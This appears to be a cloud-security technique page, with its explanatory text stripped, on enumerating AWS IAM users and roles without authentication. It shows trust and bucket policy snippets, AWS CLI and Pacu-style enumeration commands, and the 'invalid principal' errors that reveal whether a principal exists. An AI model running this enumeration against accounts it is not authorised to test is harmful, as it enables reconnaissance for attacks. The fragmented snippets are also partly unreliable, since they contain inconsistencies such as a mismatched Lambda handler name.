Enumerate (Unauthenticated) IAM Users and Roles
Exploiting an AWS feature of the IAM Role Trust Policy allowing for unauthenticated enumeration of AWS IAM Users and Roles in AWS Accounts.
Last updated
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111111111111:user/valid-user"
},
"Action": "sts:AssumeRole"
}
]
}aws iam create-role --role-name myRole --assume-role-policy-document file://roletrustpolicy.json{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111111111111:user/bob"
},
"Action": "sts:AssumeRole"
}
]
}aws --profile lab iam update-assume-role-policy --role-name <MyRoleName> --policy-document file://roletrustpolicy.json
An error occurred (MalformedPolicyDocument) when calling the UpdateAssumeRolePolicy operation: Invalid principal in policy: "AWS":"arn:aws:iam::111111111111:user/bob"run iam__enum_users --role-name <MyRoleName> --account-id 111111111111run iam__enum_roles --role-name <MyRoleName> --account-id 111111111111run iam__enum_users --role-name <MyRoleName> --account-id 111111111111 --word-list <myUser/RoleList>aws s3api create-bucket --bucket <bucketName> {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<targetAccountId>:user/bob"
},
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::<bucketName>"
}
]
}aws s3api put-bucket-policy --bucket <bucketName> --policy file://s3bucketpolicy.json
An error occurred (MalformedPolicy) when calling the PutBucketPolicy operation: Invalid principal in policy{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}aws iam create-role --role-name lambda-role --assume-role-policy-document file://lambdapolicy.json def lambda_handler(event, context):
print(event)
return 'Hello from Lambda!'zip functioncode.zip functioncode.pyaws lambda create-function --function-name tylertestiamprincipals --runtime python3.9 --zip-file fileb://functioncode.zip --handler hello.lambda-handler --role arn:aws:iam::111111111111:role/lambda-roleaws lambda add-permission --function-name tylertestiamprincipals --action lambda:ListFunctions --statement-id tylertestiamprincipals2 --principal "arn:aws:iam::111111111111:role/sally"
An error occurred (InvalidParameterValueException) when calling the AddPermission operation: The provided principal was invalid. Please check the principal and try again.